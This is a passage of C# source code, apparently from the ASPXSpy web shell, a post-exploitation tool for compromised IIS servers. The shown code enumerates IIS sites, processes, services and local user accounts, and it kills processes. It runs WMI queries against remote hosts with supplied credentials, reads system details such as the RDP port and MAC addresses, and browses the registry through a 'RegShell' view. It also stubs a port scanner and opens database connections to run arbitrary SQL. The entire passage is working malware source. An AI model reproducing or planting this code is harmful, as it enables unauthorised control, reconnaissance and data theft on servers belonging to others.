688 | TC_USER.Text=sb.ToString().Substring(0,sb.ToString().Length-4); | |
689 | } | |
690 | break; | |
691 | case 5: | |
692 | TC_USER.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(objmanage["Path"].ToString())+"')\">"+objmanage["Path"].ToString()+"</a>"; | |
693 | break; | |
694 | } | |
695 | TR.Cells.Add(TC_USER); | |
696 | } | |
697 | catch{continue;} | |
698 | } | |
699 | Bin_Table_IISSpy.Controls.Add(TR); | |
700 | } | |
701 | } | |
702 | private ManagementObjectCollection Bin_WmiQuery(string @namespace,string query) | |
703 | { | |
704 | ManagementObjectSearcher QS=new ManagementObjectSearcher(@namespace,query); | |
705 | return QS.Get(); | |
706 | } | |
707 | private DataTable zcg_WmiDataTable(string @namespace,string query) | |
708 | { | |
709 | ManagementObjectSearcher QS=new ManagementObjectSearcher(@namespace,query); | |
710 | return zcg_WmiSearcherToDataTable(QS); | |
711 | } | |
712 | private DataTable zcg_WmiDataTable(string computer,string username,string password,string @namespace,string query) | |
713 | { | |
714 | ConnectionOptions connection = new ConnectionOptions(); | |
715 | string domain=(username.IndexOf("\\")>0)?(username.Split('\\')[0]):""; | |
716 | connection.Username = (username.IndexOf("\\")>0)?(username.Split('\\')[1]):username; | |
717 | connection.Password = password; | |
718 | connection.Authority = "ntlmdomain:"+domain; | |
719 | ManagementScope scope = new ManagementScope("\\\\"+computer+"\\"+@namespace, connection); | |
720 | scope.Connect(); | |
721 | ObjectQuery objquery= new ObjectQuery(query); | |
722 | ManagementObjectSearcher QS = new ManagementObjectSearcher(scope, objquery); | |
723 | return zcg_WmiSearcherToDataTable(QS); | |
724 | } | |
725 | private DataTable zcg_WmiSearcherToDataTable(ManagementObjectSearcher QS) | |
726 | { | |
727 | DataTable dt=new DataTable(); | |
728 | foreach(ManagementObject m in QS.Get()) | |
729 | { | |
730 | DataRow dr=dt.NewRow(); | |
731 | PropertyDataCollection.PropertyDataEnumerator oEnum; | |
732 | oEnum=(m.Properties.GetEnumerator()as PropertyDataCollection.PropertyDataEnumerator); | |
733 | while(oEnum.MoveNext()) | |
734 | { | |
735 | PropertyData prop=(PropertyData)oEnum.Current; | |
736 | if(dt.Columns.IndexOf(prop.Name)==-1) | |
737 | { | |
738 | dt.Columns.Add(prop.Name); | |
739 | dt.Columns[dt.Columns.Count-1].DefaultValue=""; | |
740 | } | |
741 | if(m[prop.Name]!=null) | |
742 | { | |
743 | dr[prop.Name]=m[prop.Name].ToString(); | |
744 | } | |
745 | else | |
746 | { | |
747 | dr[prop.Name]=""; | |
748 | } | |
749 | } | |
750 | dt.Rows.Add(dr); | |
751 | } | |
752 | return dt; | |
753 | } | |
754 | private void Bin_GetProcess() | |
755 | { | |
756 | int pcount=0; | |
757 | Process[] p=Process.GetProcesses(); | |
758 | foreach(Process sp in p) | |
759 | { | |
760 | pcount++; | |
761 | TableRow tr=zcg_GetTableRow(); | |
762 | for(int i=1;i<7;i++) | |
763 | { | |
764 | TableCell td=new TableCell(); | |
765 | if(i==1) | |
766 | { | |
767 | td.Width=Unit.Parse("2%"); | |
768 | td.Text=pcount.ToString(); | |
769 | tr.Controls.Add(td); | |
770 | } | |
771 | if(i==2) | |
772 | { | |
773 | td.Text=sp.Id.ToString(); | |
774 | tr.Controls.Add(td); | |
775 | } | |
776 | if(i==3) | |
777 | { | |
778 | td.Text=sp.ProcessName.ToString(); | |
779 | tr.Controls.Add(td); | |
780 | } | |
781 | if(i==4) | |
782 | { | |
783 | td.Text=sp.Threads.Count.ToString(); | |
784 | tr.Controls.Add(td); | |
785 | } | |
786 | if(i==5) | |
787 | { | |
788 | td.Text=sp.BasePriority.ToString(); | |
789 | tr.Controls.Add(td); | |
790 | } | |
791 | if(i==6) | |
792 | { | |
793 | td.Text=zcg_MakeKillProcessLink(sp.Id); | |
794 | tr.Controls.Add(td); | |
795 | } | |
796 | } | |
797 | Bin_Table_Process.Controls.Add(tr); | |
798 | } | |
799 | } | |
800 | private void Bin_Wmi_GetProcess() | |
801 | { | |
802 | int pcount=0; | |
803 | DataTable dt=zcg_WmiDataTable("root\\CIMV2","select * from Win32_Process"); | |
804 | for(int j=0;j<dt.Rows.Count;j++) | |
805 | { | |
806 | pcount++; | |
807 | TableRow tr=zcg_GetTableRow(); | |
808 | for(int i=1;i<7;i++) | |
809 | { | |
810 | TableCell td=new TableCell(); | |
811 | if(i==1) | |
812 | { | |
813 | td.Width=Unit.Parse("2%"); | |
814 | td.Text=pcount.ToString(); | |
815 | tr.Controls.Add(td); | |
816 | } | |
817 | if(i==2) | |
818 | { | |
819 | td.Text=dt.Rows[j]["ProcessID"].ToString(); | |
820 | tr.Controls.Add(td); | |
821 | } | |
822 | if(i==3) | |
823 | { | |
824 | td.Text=dt.Rows[j]["Name"].ToString(); | |
825 | tr.Controls.Add(td); | |
826 | } | |
827 | if(i==4) | |
828 | { | |
829 | td.Text=dt.Rows[j]["ThreadCount"].ToString(); | |
830 | tr.Controls.Add(td); | |
831 | } | |
832 | if(i==5) | |
833 | { | |
834 | td.Text=dt.Rows[j]["Priority"].ToString(); | |
835 | tr.Controls.Add(td); | |
836 | } | |
837 | if(i==6) | |
838 | { | |
839 | td.Text=zcg_MakeKillProcessLink(dt.Rows[j]["ProcessID"]); | |
840 | tr.Controls.Add(td); | |
841 | } | |
842 | } | |
843 | Bin_Table_Process.Controls.Add(tr); | |
844 | } | |
845 | } | |
846 | private string zcg_MakeKillProcessLink(object pid) | |
847 | { | |
848 | return string.Format("<a href=\"javascript:Bin_PostBack('zcg_KillProcess','{0}')\">Kill</a>",pid); | |
849 | } | |
850 | private void zcg_KillProcess(string pid) | |
851 | { | |
852 | zcg_ProcessHeader(); | |
853 | try{zcg_DoKillProcess(pid);Bin_Msg("Process Kill Success !");}catch{try{zcg_DoKillProcessWmi(pid);}catch(Exception ex){zcg_ShowError(ex);}} | |
854 | Bin_Button_Process_Click(null,null); | |
855 | } | |
856 | private void zcg_DoKillProcess(string pid) | |
857 | { | |
858 | Process.GetProcessById(Int32.Parse(pid)).Kill(); | |
859 | } | |
860 | private void zcg_DoKillProcessWmi(string pid) | |
861 | { | |
862 | uint i=0; | |
863 | foreach(ManagementObject p in Bin_WmiQuery("root\\CIMV2","Select * from Win32_Process Where ProcessID ='"+pid+"'")) | |
864 | { | |
865 | i=(uint)(p.InvokeMethod("Terminate",null)); | |
866 | p.Dispose(); | |
867 | } | |
868 | if(i==0){Bin_Msg("Process Kill Success !");} | |
869 | else{Bin_Msg("Kill process error , returned value: "+i);} | |
870 | } | |
871 | private void Bin_GetServices() | |
872 | { | |
873 | int pcount=0; | |
874 | ServiceController[] objsrv=System.ServiceProcess.ServiceController.GetServices(); | |
875 | for(int i=0;i<objsrv.Length;i++) | |
876 | { | |
877 | pcount++; | |
878 | TableRow tr=zcg_GetTableRow(); | |
879 | for(int b=1;b<7;b++) | |
880 | { | |
881 | TableCell td=new TableCell(); | |
882 | if(b==1) | |
883 | { | |
884 | td.Width=Unit.Parse("2%"); | |
885 | td.Text=pcount.ToString(); | |
886 | tr.Controls.Add(td); | |
887 | } | |
888 | if(b==2) | |
889 | { | |
890 | td.Text="null"; | |
891 | tr.Controls.Add(td); | |
892 | } | |
893 | if(b==3) | |
894 | { | |
895 | td.Text=objsrv[i].ServiceName.ToString(); | |
896 | tr.Controls.Add(td); | |
897 | } | |
898 | if(b==4) | |
899 | { | |
900 | td.Text=""; | |
901 | tr.Controls.Add(td); | |
902 | } | |
903 | if(b==5) | |
904 | { | |
905 | string state=objsrv[i].Status.ToString(); | |
906 | if(state=="Running") | |
907 | { | |
908 | td.Text="<font color=green>"+state+"</font>"; | |
909 | } | |
910 | else | |
911 | { | |
912 | td.Text="<font color=red>"+state+"</font>"; | |
913 | } | |
914 | tr.Controls.Add(td); | |
915 | } | |
916 | if(b==6) | |
917 | { | |
918 | td.Text=""; | |
919 | tr.Controls.Add(td); | |
920 | } | |
921 | } | |
922 | Bin_Table_Serviecs.Controls.Add(tr); | |
923 | } | |
924 | } | |
925 | private void Bin_Wmi_GetServices() | |
926 | { | |
927 | int pcount=0; | |
928 | DataTable dt=zcg_WmiDataTable("root\\CIMV2","select * from Win32_Service"); | |
929 | for(int j=0;j<dt.Rows.Count;j++) | |
930 | { | |
931 | pcount++; | |
932 | TableRow tr=zcg_GetTableRow(); | |
933 | tr.Attributes["title"]=dt.Rows[j]["Description"].ToString(); | |
934 | for(int i=1;i<7;i++) | |
935 | { | |
936 | TableCell td=new TableCell(); | |
937 | if(i==1) | |
938 | { | |
939 | td.Width=Unit.Parse("2%"); | |
940 | td.Text=pcount.ToString(); | |
941 | tr.Controls.Add(td); | |
942 | } | |
943 | if(i==2) | |
944 | { | |
945 | td.Text=dt.Rows[j]["ProcessID"].ToString(); | |
946 | tr.Controls.Add(td); | |
947 | } | |
948 | if(i==3) | |
949 | { | |
950 | td.Text=dt.Rows[j]["Name"].ToString(); | |
951 | tr.Controls.Add(td); | |
952 | } | |
953 | if(i==4) | |
954 | { | |
955 | td.Text=dt.Rows[j]["PathName"].ToString(); | |
956 | tr.Controls.Add(td); | |
957 | } | |
958 | if(i==5) | |
959 | { | |
960 | string state=dt.Rows[j]["State"].ToString(); | |
961 | if(state=="Running") | |
962 | { | |
963 | td.Text="<font color=green>"+state+"</font>"; | |
964 | } | |
965 | else | |
966 | { | |
967 | td.Text="<font color=red>"+state+"</font>"; | |
968 | } | |
969 | tr.Controls.Add(td); | |
970 | } | |
971 | if(i==6) | |
972 | { | |
973 | td.Text=dt.Rows[j]["StartMode"].ToString(); | |
974 | tr.Controls.Add(td); | |
975 | } | |
976 | } | |
977 | Bin_Table_Serviecs.Controls.Add(tr); | |
978 | } | |
979 | } | |
980 | private void Bin_UserInfo() | |
981 | { | |
982 | DirectoryEntry users=new DirectoryEntry("WinNT://"+Environment.MachineName.ToString()); | |
983 | foreach(DirectoryEntry child in users.Children) | |
984 | { | |
985 | foreach(string name in child.Properties.PropertyNames) | |
986 | { | |
987 | PropertyValueCollection pvc=child.Properties[name]; | |
988 | int c=pvc.Count; | |
989 | for(int i=0;i<c;i++) | |
990 | { | |
991 | if(name!="objectSid"&&name!="Parameters"&&name!="LoginHours") | |
992 | { | |
993 | TableRow tr=zcg_GetTableRow(); | |
994 | TableCell td=new TableCell(); | |
995 | td.Text=name; | |
996 | tr.Controls.Add(td); | |
997 | TableCell td1=new TableCell(); | |
998 | td1.Text=pvc[i].ToString(); | |
999 | tr.Controls.Add(td1); | |
1000 | Bin_Table_User.Controls.Add(tr); | |
1001 | } | |
1002 | } | |
1003 | } | |
1004 | TableRow trn=new TableRow(); | |
1005 | for(int x=1;x<3;x++) | |
1006 | { | |
1007 | TableCell tdn=new TableCell(); | |
1008 | tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;"; | |
1009 | trn.Controls.Add(tdn); | |
1010 | Bin_Table_User.Controls.Add(trn); | |
1011 | } | |
1012 | } | |
1013 | } | |
1014 | private void Bin_Wmi_UserInfo() | |
1015 | { | |
1016 | DataTable user=zcg_WmiDataTable("root\\CIMV2","select * from Win32_UserAccount"); | |
1017 | for(int i=0;i<user.Rows.Count;i++) | |
1018 | { | |
1019 | for(int j=0;j<user.Columns.Count;j++) | |
1020 | { | |
1021 | TableRow tr=zcg_GetTableRow(); | |
1022 | TableCell td=new TableCell(); | |
1023 | td.Text=user.Columns[j].ToString(); | |
1024 | tr.Controls.Add(td); | |
1025 | TableCell td1=new TableCell(); | |
1026 | td1.Text=user.Rows[i][j].ToString(); | |
1027 | tr.Controls.Add(td1); | |
1028 | Bin_Table_User.Controls.Add(tr); | |
1029 | } | |
1030 | TableRow trn=new TableRow(); | |
1031 | for(int x=1;x<3;x++) | |
1032 | { | |
1033 | TableCell tdn=new TableCell(); | |
1034 | tdn.Attributes["style"]="height:2px;background-color:#bbbbbb;"; | |
1035 | trn.Controls.Add(tdn); | |
1036 | Bin_Table_User.Controls.Add(trn); | |
1037 | } | |
1038 | } | |
1039 | } | |
1040 | private void Bin_Sysinfo() | |
1041 | { | |
1042 | Hide_Div(); | |
1043 | Bin_Div_Sysinfo.Visible=true; | |
1044 | Bin_H2_Title.InnerText="System Information >>"; | |
1045 | Bin_H2_Mac.InnerText="MAC Information >>"; | |
1046 | Bin_H2_Driver.InnerText="Driver Information >>"; | |
1047 | StringBuilder s_inf=new StringBuilder(); | |
1048 | StringBuilder s_netconfig=new StringBuilder(); | |
1049 | StringBuilder s_driver=new StringBuilder(); | |
1050 | try | |
1051 | { | |
1052 | s_inf.Append("<li><u>Server Domain : </u>"+Request.ServerVariables["SERVER_NAME"]+"</li>"); | |
1053 | s_inf.Append("<li><u>Server Ip : </u>"+Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"</li>"); | |
1054 | s_inf.Append("<li><u>Server OS : </u>"+Environment.OSVersion+"</li>"); | |
1055 | s_inf.Append("<li><u>Server Software : </u>"+Request.ServerVariables["SERVER_SOFTWARE"]+"</li>"); | |
1056 | s_inf.Append("<li><u>Server UserName : </u>"+zcg_GetUserName()+"</li>"); | |
1057 | s_inf.Append("<li><u>Server Time : </u>"+System.DateTime.Now.ToString()+"</li>"); | |
1058 | RegistryKey key_ts=Registry.LocalMachine.OpenSubKey(@"SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"); | |
1059 | string tsport=GetRegValue(key_ts,"PortNumber"); | |
1060 | RegistryKey key_cpu=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor"); | |
1061 | int cpu=key_cpu.SubKeyCount; | |
1062 | RegistryKey key_cpuinfo=Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\CentralProcessor\0\"); | |
1063 | string cpuver=GetRegValue(key_cpuinfo,"ProcessorNameString"); | |
1064 | s_inf.Append("<li><u>Terminal Port : </u>"+tsport+"</li>"); | |
1065 | s_inf.Append("<li><u>CPU Count : </u>"+cpu.ToString()+"</li>"); | |
1066 | s_inf.Append("<li><u>CPU Version : </u>"+cpuver+"</li>"); | |
1067 | s_inf.Append("<li><u>Server TimeZone : </u>"+zcg_WmiDataTable("root\\CIMV2","select * from Win32_TimeZone").Rows[0]["Caption"]+"</li>"); | |
1068 | DataTable BIOS=zcg_WmiDataTable("root\\CIMV2","select * from Win32_BIOS"); | |
1069 | s_inf.Append("<li><u>Server BIOS : </u>"+BIOS.Rows[0]["Manufacturer"]+" : "+BIOS.Rows[0]["Name"]+"</li>"); | |
1070 | DataTable Memory=zcg_WmiDataTable("root\\CIMV2","select * from Win32_PhysicalMemory"); | |
1071 | Int64 Memoryall=0; | |
1072 | for(int i=0;i<Memory.Rows.Count;i++) | |
1073 | { | |
1074 | Memoryall+=Int64.Parse(Memory.Rows[0]["Capacity"].ToString()); | |
1075 | } | |
1076 | s_inf.Append("<li><u>Server Memory : </u>"+Bin_FileSize(Memoryall)+"</li>"); | |
1077 | DataTable NetConfig=zcg_WmiDataTable("root\\CIMV2","select * from Win32_NetworkAdapterConfiguration"); | |
1078 | for(int i=0;i<NetConfig.Rows.Count;i++) | |
1079 | { | |
1080 | s_netconfig.Append("<li><u>Server MAC"+i+" : </u>"+NetConfig.Rows[i]["Caption"]+"</li>"); | |
1081 | if((NetConfig.Rows[i]["MACAddress"] as string)!="") | |
1082 | { | |
1083 | s_netconfig.Append("<li style=\"list-style:none;\"><u>Address : </u>"+NetConfig.Rows[i]["MACAddress"]+"</li>"); | |
1084 | } | |
1085 | } | |
1086 | DataTable Driver=zcg_WmiDataTable("root\\CIMV2","select * from Win32_SystemDriver"); | |
1087 | for (int i=0; i<Driver.Rows.Count; i++) | |
1088 | { | |
1089 | s_driver.Append("<li><u class='u1'>Server Driver"+i+" : </u><u class='u2'>"+Driver.Rows[i]["Caption"]+"</u> "); | |
1090 | if ((Driver.Rows[i]["PathName"] as string)!="") | |
1091 | { | |
1092 | s_driver.Append("Path : "+Driver.Rows[i]["PathName"]); | |
1093 | } | |
1094 | else | |
1095 | { | |
1096 | s_driver.Append("No path information"); | |
1097 | } | |
1098 | s_driver.Append("</li>"); | |
1099 | } | |
1100 | } | |
1101 | catch(Exception error) | |
1102 | { | |
1103 | zcg_ShowError(error); | |
1104 | } | |
1105 | finally | |
1106 | { | |
1107 | Bin_Ul_Sys.InnerHtml=s_inf.ToString(); | |
1108 | Bin_Ul_NetConfig.InnerHtml=s_netconfig.ToString(); | |
1109 | Bin_Ul_Driver.InnerHtml=s_driver.ToString(); | |
1110 | } | |
1111 | } | |
1112 | private void Bin_Reg() | |
1113 | { | |
1114 | zcg_RegHeader(); | |
1115 | RegInit(); | |
1116 | } | |
1117 | private void zcg_RegHeader() | |
1118 | { | |
1119 | Hide_Div(); | |
1120 | Bin_Div_Reg.Visible=true; | |
1121 | Bin_H2_Title.InnerText="RegShell >>"; | |
1122 | string RootKeys=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG"; | |
1123 | Bin_Regroot_Href.Text=""; | |
1124 | foreach(string rootkey in RootKeys.Split('|')) | |
1125 | { | |
1126 | Bin_Regroot_Href.Text+="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(rootkey)+"')\">"+rootkey+"</a> | "; | |
1127 | } | |
1128 | } | |
1129 | private void RegInit() | |
1130 | { | |
1131 | Bin_Text_Regread.Text=""; | |
1132 | string RootKeys=@"HKEY_LOCAL_MACHINE|HKEY_CLASSES_ROOT|HKEY_CURRENT_USER|HKEY_USERS|HKEY_CURRENT_CONFIG"; | |
1133 | TableRow tr; | |
1134 | TableCell tc; | |
1135 | foreach(string rootkey in RootKeys.Split('|')) | |
1136 | { | |
1137 | tc=new TableCell(); | |
1138 | tr=zcg_GetTableRow(); | |
1139 | tc.Width=Unit.Parse("40%"); | |
1140 | tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(rootkey)+"')\">"+rootkey+"</a>"; | |
1141 | tr.Cells.Add(tc); | |
1142 | tc=new TableCell(); | |
1143 | tc.Width=Unit.Parse("60%"); | |
1144 | tc.Text="<RootKey>"; | |
1145 | tr.Cells.Add(tc); | |
1146 | Bin_Table_Reg.Rows.Add(tr); | |
1147 | } | |
1148 | } | |
1149 | private void Bin_ShowReg(string Reg_Path) | |
1150 | { | |
1151 | zcg_RegHeader(); | |
1152 | if(!Reg_Path.EndsWith("\\")) | |
1153 | { | |
1154 | Reg_Path=Reg_Path+"\\"; | |
1155 | } | |
1156 | Bin_Text_Regread.Text=Reg_Path; | |
1157 | string ParPath=Regex.Replace(Reg_Path,@"\\[^\\]+\\?$",""); | |
1158 | ParPath=Regex.Replace(ParPath,@"\\+","\\"); | |
1159 | TableRow tr=zcg_GetTableRow(); | |
1160 | TableCell tc=new TableCell(); | |
1161 | tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(ParPath)+"')\">Parent Key</a>"; | |
1162 | tc.Attributes["colspan"]="2" ; | |
1163 | tr.Cells.Add(tc); | |
1164 | Bin_Table_Reg.Rows.Add(tr); | |
1165 | try | |
1166 | { | |
1167 | string strSubkey=Reg_Path.Substring(Reg_Path.IndexOf("\\")+1,Reg_Path.Length-Reg_Path.IndexOf("\\")-1); | |
1168 | RegistryKey rk=null; | |
1169 | RegistryKey sk; | |
1170 | if(Reg_Path.StartsWith("HKEY_LOCAL_MACHINE",true,null)||Reg_Path.StartsWith("hklm",true,null)) | |
1171 | { | |
1172 | rk=Registry.LocalMachine; | |
1173 | } | |
1174 | else if(Reg_Path.StartsWith("HKEY_CLASSES_ROOT",true,null)||Reg_Path.StartsWith("hkcr",true,null)) | |
1175 | { | |
1176 | rk=Registry.ClassesRoot; | |
1177 | } | |
1178 | else if(Reg_Path.StartsWith("HKEY_CURRENT_USER",true,null)||Reg_Path.StartsWith("hkcu",true,null)) | |
1179 | { | |
1180 | rk=Registry.CurrentUser; | |
1181 | } | |
1182 | else if(Reg_Path.StartsWith("HKEY_USERS",true,null)||Reg_Path.StartsWith("hku",true,null)) | |
1183 | { | |
1184 | rk=Registry.Users; | |
1185 | } | |
1186 | else if(Reg_Path.StartsWith("HKEY_CURRENT_CONFIG",true,null)||Reg_Path.StartsWith("hkcc",true,null)) | |
1187 | { | |
1188 | rk=Registry.CurrentConfig; | |
1189 | } | |
1190 | if(strSubkey.Length>1) | |
1191 | { | |
1192 | sk=rk.OpenSubKey(strSubkey); | |
1193 | } | |
1194 | else | |
1195 | { | |
1196 | sk=rk; | |
1197 | } | |
1198 | foreach(string innerSubKey in sk.GetSubKeyNames()) | |
1199 | { | |
1200 | tr=zcg_GetTableRow(); | |
1201 | tc=new TableCell(); | |
1202 | tc.Width=Unit.Parse("40%"); | |
1203 | tc.Text="<a href=\"javascript:Bin_PostBack('Bin_Regread','"+Bin_ToBase64(Reg_Path+innerSubKey)+"')\">"+innerSubKey+"</a>"; | |
1204 | tr.Cells.Add(tc); | |
1205 | tc=new TableCell(); | |
1206 | tc.Width=Unit.Parse("60%"); | |
1207 | tc.Text="<SubKey>"; | |
1208 | tr.Cells.Add(tc); | |
1209 | Bin_Table_Reg.Rows.Add(tr); | |
1210 | } | |
1211 | TableRow intr=new TableRow(); | |
1212 | intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;"; | |
1213 | intr.Attributes["bgcolor"]="#dddddd"; | |
1214 | TableCell intc=new TableCell(); | |
1215 | intc.Attributes["colspan"]="2" ; | |
1216 | intc.Attributes["height"]="5"; | |
1217 | intr.Cells.Add(intc); | |
1218 | Bin_Table_Reg.Rows.Add(intr); | |
1219 | foreach(string strValueName in sk.GetValueNames()) | |
1220 | { | |
1221 | tr=zcg_GetTableRow(); | |
1222 | tc=new TableCell(); | |
1223 | tc.Width=Unit.Parse("40%"); | |
1224 | tc.Text=strValueName; | |
1225 | tr.Cells.Add(tc); | |
1226 | tc=new TableCell(); | |
1227 | tc.Width=Unit.Parse("60%"); | |
1228 | tc.Text=GetRegValue(sk,strValueName); | |
1229 | tr.Cells.Add(tc); | |
1230 | Bin_Table_Reg.Rows.Add(tr); | |
1231 | } | |
1232 | } | |
1233 | catch(NullReferenceException ex){Bin_Msg("Path not found");} | |
1234 | catch(Exception ex){zcg_ShowError(ex);} | |
1235 | } | |
1236 | private string GetRegValue(RegistryKey sk,string strValueName) | |
1237 | { | |
1238 | object buffer; | |
1239 | string regstr=""; | |
1240 | try | |
1241 | { | |
1242 | buffer=sk.GetValue(strValueName,"NULL"); | |
1243 | if(buffer.GetType()==typeof(byte[])) | |
1244 | { | |
1245 | foreach(byte tmpbyte in(byte[])buffer) | |
1246 | { | |
1247 | if((int)tmpbyte<16) | |
1248 | { | |
1249 | regstr+="0"; | |
1250 | } | |
1251 | regstr+=tmpbyte.ToString("X"); | |
1252 | } | |
1253 | } | |
1254 | else if(buffer.GetType()==typeof(string[])) | |
1255 | { | |
1256 | foreach(string tmpstr in(string[])buffer) | |
1257 | { | |
1258 | regstr+=tmpstr; | |
1259 | } | |
1260 | } | |
1261 | else | |
1262 | { | |
1263 | regstr=buffer.ToString(); | |
1264 | } | |
1265 | } | |
1266 | catch(Exception error) | |
1267 | { | |
1268 | zcg_ShowError(error); | |
1269 | } | |
1270 | return regstr; | |
1271 | } | |
1272 | private void Bin_PortScan() | |
1273 | { | |
1274 | Hide_Div(); | |
1275 | Bin_Div_PortScan.Visible=true; | |
1276 | Bin_H2_Title.InnerText="PortScan >>"; | |
1277 | } | |
1278 | private void Bin_DataBase() | |
1279 | { | |
1280 | Hide_Div(); | |
1281 | Bin_Div_Data.Visible=true; | |
1282 | Bin_Div_DBPanel.Visible=false; | |
1283 | Bin_H2_Title.InnerText="DataBase >>"; | |
1284 | } | |
1285 | private void OpenConnection() | |
1286 | { | |
1287 | if(IsSqlServer()) | |
1288 | { | |
1289 | conn=new SqlConnection(); | |
1290 | comm=new SqlCommand(); | |
1291 | }else{ | |
1292 | conn=new OleDbConnection(); | |
1293 | comm=new OleDbCommand(); | |
1294 | } | |
1295 | if(conn.State==ConnectionState.Closed) | |
1296 | { | |
1297 | try | |
1298 | { | |
1299 | conn.ConnectionString=Bin_TextBox_ConnStr.Text; | |
1300 | comm.Connection=conn; | |
1301 | conn.Open(); | |
1302 | if(IsSqlServer()&&Bin_List_DB.SelectedItem!=null&&Bin_List_DB.SelectedItem.Value!="") | |
1303 | { | |
1304 | conn.ChangeDatabase(Bin_List_DB.SelectedItem.Value.ToString()); | |
1305 | } | |
1306 | } | |
1307 | catch(Exception error) | |
1308 | { | |
1309 | zcg_ShowError(error); | |
1310 | } | |
1311 | } | |
1312 | } | |
1313 | private void CloseConnection() | |
1314 | { | |
1315 | if(conn.State==ConnectionState.Open) | |
1316 | { | |
1317 | conn.Close(); | |
1318 | } | |
1319 | conn.Dispose(); | |
1320 | comm.Dispose(); | |
1321 | } | |
1322 | private bool IsSqlServer() | |
1323 | { | |
1324 | return Bin_List_Connstr.SelectedItem.Text=="MSSQL"; | |
1325 | } | |
1326 | private DataTable Bin_DataTable(string sqlstr) | |
1327 | { | |
1328 | DbDataAdapter da=null; | |
1329 | if(IsSqlServer()) | |
1330 | { | |
1331 | da=new SqlDataAdapter(); | |
1332 | }else{ | |
1333 | da=new OleDbDataAdapter(); | |
1334 | } | |
1335 | DataTable dtable=new DataTable(); | |
1336 | try | |
1337 | { | |
1338 | OpenConnection(); | |
1339 | comm.CommandType=CommandType.Text; | |
1340 | comm.CommandText=sqlstr; | |
1341 | da.SelectCommand=comm; | |
1342 | da.Fill(dtable); | |
1343 | } | |
1344 | finally | |
1345 | { | |
1346 | CloseConnection(); | |
1347 | } | |
1348 | return dtable; | |
1349 | } | |
1350 | private bool Bin_ExecSql(string instr) | |
1351 | { | |
1352 | try | |
1353 | { | |
1354 | OpenConnection(); | |
1355 | comm.CommandType=CommandType.Text; | |
1356 | comm.CommandText=instr; | |
1357 | comm.ExecuteNonQuery(); | |
1358 | return true; | |
1359 | } | |
1360 | catch(Exception e) | |
1361 | { | |
1362 | zcg_ShowError(e); | |
1363 | return false; | |
1364 | } | |
1365 | } | |
1366 | private void Bin_ExecBind() | |
1367 | { | |
1368 | try | |
1369 | { | |
1370 | DataTable dt=Bin_DataTable(Bin_Textarea_Query.InnerText); | |
1371 | if(dt.Columns.Count>0) | |
1372 | { | |
1373 | Bin_DataGrid.PreRender+=new EventHandler(DataGrid_PreRender); | |
1374 | Bin_DataGrid.DataSource=dt; | |
1375 | Bin_DataGrid.DataBind(); | |
1376 | for(int i=0;i<Bin_DataGrid.Items.Count;i++) | |
1377 | { | |
1378 | zcg_SetControlAttribute(Bin_DataGrid.Items[i]); | |
1379 | } | |
1380 | } | |
1381 | else | |
1382 | { | |
1383 | Bin_DataGrid.DataSource=null; | |
1384 | Bin_DataGrid.DataBind(); | |
1385 | } | |
1386 | Bin_DataGrid.Visible=true; | |
1387 | } | |
1388 | catch(Exception e) | |
1389 | { | |
1390 | zcg_ShowError(e); | |
1391 | Bin_DataGrid.Visible=false; | |
1392 | } | |
1393 | } | |
1394 | private void Bin_DataBind() | |
1395 | { | |
1396 | try | |
1397 | { | |
1398 | if(IsSqlServer()&&Bin_List_DB.SelectedItem.Value=="") | |
1399 | { | |
1400 | Bin_DataGrid.DataSource=null; | |
1401 | Bin_DataGrid.DataBind(); | |
1402 | return; | |
1403 | } | |
1404 | OpenConnection(); | |
1405 | DataTable tables=new DataTable(); | |
1406 | if(IsSqlServer()&&Bin_List_DB.SelectedItem.Value!="") | |
1407 | { | |
1408 | conn.ChangeDatabase(Bin_List_DB.SelectedItem.Text); | |
1409 | } | |
1410 | tables=conn.GetSchema("Tables"); | |
1411 | tables.Columns.Remove("TABLE_CATALOG"); | |
1412 | tables.Columns.Remove("TABLE_SCHEMA"); | |
1413 | if(!IsSqlServer()){tables.Columns.Remove("DESCRIPTION");tables.Columns.Remove("TABLE_PROPID");} | |
1414 | Bin_DataGrid.PreRender+=new EventHandler(DataGrid_PreRender); | |
1415 | Bin_DataGrid.DataSource=tables; | |
1416 | Bin_DataGrid.DataBind(); | |
1417 | for(int i=0;i<Bin_DataGrid.Items.Count;i++) | |
1418 | { | |
1419 | string tname=Bin_DataGrid.Items[i].Cells[0].Text; | |
1420 | zcg_SetControlAttribute(Bin_DataGrid.Items[i]); | |
1421 | Bin_DataGrid.Items[i].Attributes["onclick"]="ASPXSpy.Bin_Textarea_Query.value='select * from " + tname + "';"; | |
1422 | } | |
1423 | Bin_DataGrid.Visible=true; | |
1424 | } | |
1425 | catch(Exception e) | |
1426 | { | |
1427 | zcg_ShowError(e); | |
1428 | Bin_DataGrid.Visible=false; | |
1429 | } | |
1430 | } | |
1431 | protected void DataGrid_PreRender(object sender,EventArgs e) | |
1432 | { | |
1433 | DataGrid d=(DataGrid)sender; | |
1434 | foreach(DataGridItem item in d.Items) | |
1435 | { | |
1436 | foreach(TableCell t in item.Cells) | |
1437 | { | |
1438 | t.Text=t.Text.Replace("<","<").Replace(">",">"); | |
1439 | } | |
1440 | } | |
1441 | } | |
1442 | private void Bin_Newconn() | |
1443 | { | |
1444 | Bin_Div_DBPanel.Visible=true; | |
1445 | try | |
1446 | { | |
1447 | Bin_Textarea_Query.InnerHtml=""; | |
1448 | if(Bin_List_Connstr.SelectedItem.Text=="MSSQL") | |
1449 | { | |
1450 | Bin_DataGrid.Visible=false; | |
1451 | Bin_Div_Dblist.Visible=true; | |
1452 | Bin_Div_Dbinfo.Visible=true; | |
1453 | OpenConnection(); | |
1454 | string cdb=conn.Database; | |
